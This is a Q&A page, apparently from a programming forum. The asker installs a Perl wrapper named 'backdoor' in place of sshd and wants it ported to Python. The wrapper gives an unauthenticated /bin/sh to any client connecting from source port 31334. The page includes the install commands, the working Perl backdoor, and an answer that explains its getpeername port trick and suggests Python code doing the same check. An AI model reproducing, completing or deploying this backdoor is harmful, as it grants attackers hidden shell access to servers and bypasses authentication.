Issue
i'm coding a python3 ssh Middleware according to a perl, and want to add the port determine to my python code. how can i to judge the content about stdin in the perl script ?
the perl script working normally i used ubuntu 16.04 , Here is what I did
mv /usr/sbin/sshd /usr/bin/sshd
mv /usr/sbin/backdoor /usr/sbin/sshd
chmod +x /usr/sbin/sshd
systemctl restart sshd
this is the perl code
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
I understand the STDIN according to the information I found,is it a fd ?
- **POSIX::getpeername allows you to get peername from sockfd. from https://metacpan.org/pod/POSIX::getpeername
so this is my python code
#!/usr/bin/python3.5
import os
import socket
import subprocess
import sys
for s in sys.stdin:
raddr = os.read(s,100)
if re.match(r'..zf',str(raddr)):
os.execv("/bin/sh")
with open("hello.log","a+") as f:
f.write(str(raddr))
sys.exit()
os.execv('/usr/bin/sshd',sys.argv)
i expect know the meaning of stdin in the perl, thanks ~~
Solution
STDIN
is a filehandle, not a file descriptor ("fd"). File descriptors are small integers that represent I/O channels (such as sockets) in interfaces provided by the OS kernel ("system calls", e.g. read
, write
, open
, ...) at the C level.
STDIN
("standard input") is a higher-level object that contains a file descriptor (0
in the case of STDIN
) along with other data, e.g. a buffer. You can extract the file descriptor from a handle by using fileno
. All the usual I/O functions in Perl operate on handles, not raw file descriptors.
Perl's STDIN
corresponds to sys.stdin
in Python. As in Perl, the object wraps an underlying file descriptor, which you can extract using sys.stdin.fileno()
(corresponding to fileno(STDIN)
in Perl).
POSIX::getpeername is a module on CPAN. It is not what your Perl script is using; otherwise you'd have use POSIX::getpeername;
somewhere in your code (in fact, the Perl script doesn't load any modules). As the documentation says, this module provides a _getpeername
function that fetches the remote address from a socket file descriptor; if you wanted to use it with STDIN
, you'd use use POSIX::getpeername; POSIX::getpeername::_getpeername(fileno(STDIN))
(or POSIX::getpeername::_getpeername(0)
).
Your code calls the getpeername
function built into Perl, which takes a file handle, not a descriptor. The handle must refer to a socket. In the case of STDIN
, it is the calling process that's responsible for setting it up; the Perl code simply assumes that it is a socket. What this function returns is a byte string that contains a raw struct sockaddr_in
C structure. Normally you'd use Socket::unpack_sockaddr_in
to extract the port and IP address (or just use one of the higher-level interfaces in IO::Socket::INET
, e.g. $socket->peerport
).
As for what the regex does, it depends on the internals of struct sockaddr_in
on the system it's running on. The C type itself is declared as:
struct sockaddr_in {
sa_family_t sin_family; /* address family: AF_INET */
in_port_t sin_port; /* port in network byte order */
struct in_addr sin_addr; /* internet address */
};
sa_family_t
is some unsigned integer type. On Linux (and I expect on other unix systems, too) it is defined as unsigned short
, i.e. a 2-byte integer.
in_port_t
is an unsigned 2-byte integer containing the port in network byte order.
Assuming no padding between the first two fields, that means the first two bytes of the string returned by getpeername
represent the address family and the next two bytes represent the network port in big-endian ("network byte order") format.
This is what /^..zf/
matches against. The first two bytes can be anything (except for the value 10, which is interpreted as newline; this is likely a bug in the code), so the address family doesn't matter. The string zf
corresponds to 31334
in big endian:
$ perl -wE 'say unpack "n", "zf"'
31334
In short, getpeername(...)=~/^..zf/
checks (in a really quick and dirty way) whether the remote port is 31334. If so, the wrapper script runs /bin/sh
; otherwise it forwards to the real sshd
executable.
I'm not sure what the corresponding Python code would be. Perhaps
import sys
import socket
socket.socket(fileno = sys.stdin.fileno()).getpeername()[1] == 31334
?
Answered By - melpomene